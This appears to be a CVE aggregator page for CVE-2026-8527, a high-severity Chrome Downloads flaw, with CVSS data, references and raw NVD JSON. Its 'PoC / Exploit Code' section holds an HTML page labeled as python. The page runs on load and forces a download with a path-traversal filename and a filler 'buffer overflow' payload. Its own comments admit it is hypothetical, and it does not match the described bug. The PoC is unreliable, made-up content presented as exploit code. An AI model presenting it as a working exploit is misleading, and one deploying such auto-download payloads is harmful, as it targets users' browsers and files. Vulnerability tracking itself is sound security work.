CVE-2026-8527

Description

Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8527 -->
<!-- This is a hypothetical exploit demonstrating the trigger mechanism -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8527 PoC</title>
</head>
<body>
    <h1>Triggering Download Vulnerability</h1>
    <script>
        // Attacker attempts to trigger the insufficient validation in Downloads
        // by crafting a specific malicious blob or filename sequence.
        function triggerExploit() {
            var maliciousPayload = "A".repeat(10000); // Hypothetical buffer overflow payload
            var blob = new Blob([maliciousPayload], {type: 'text/html'});
            var url = URL.createObjectURL(blob);
            
            // Attempt to force a download with a crafted name
            var a = document.createElement('a');
            a.href = url;
            // Crafted filename intended to hit the validation logic
            a.download = "\ .. / .. / malicious_payload.exe"; 
            document.body.appendChild(a);
            a.click();
        }
        
        window.onload = triggerExploit;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8527
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8527
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8527/
[4] VulDB https://vuldb.com/cve/CVE-2026-8527
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/486761172

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8527", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:13.507", "lastModified": "2026-05-14T22:16:46.997", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/486761172", "source": "[email protected]"}]}}